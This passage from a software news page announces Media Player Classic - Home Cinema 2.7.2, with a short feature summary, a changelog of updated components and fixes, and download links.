selected here: Options > Playback > Output Ability to search for and download subtitles, either automatically or manually (press D): Options > Subtitles > Misc Besides all these (new) features, there have also been many bugfixes and internal improvements in the player in the past years that give better performance and stability. It also has updated internal codecs. Support was added for CUE sheets, WebVTT subtitles, etc. Media Player Classic - Home Cinema 2.7.2 changelog: Updated LAV Filters to version 0.81-23-g6fadb Updated MPC Video Renderer to version 0.10.2.2540 Updated MediaInfo DLL to version 26.05 Updated MPC Audio Renderer Several crash fixes, bug fixes and small improvements. Download: MPC-HC 2.7.2 (x64) | Standalone | ~20.0 MB (Open Source) Download: MPC-HC 2.7.2 (x86) | Standalone Links: MPC-HC Home Page | Screenshot Get alerted to all of our Software updates on Twitter at @NeowinSoftware

  • Recent Achievements

    • Very Popular
      s0nic69 earned a badge
      Very Popular
    • Collaborator
      Asgardi earned a badge
      Collaborator
    • Conversation Starter
      mobandz earned a badge
      Conversation Starter
    • Apprentice
      fernan99 went up a rank
      Apprentice
    • One Month Later
      nothanks earned a badge
      One Month Later

  • Popular Contributors

    1. 1
      +primortal
      471
    2. 2
      PsYcHoKiLLa
      247
    3. 3
      Skyfrog
      80
    4. 4
      FloatingFatMan
      67
    5. 5
      Michael Scrip
      60
    Show More

  • Tell a friend

    Love Neowin? Tell a friend!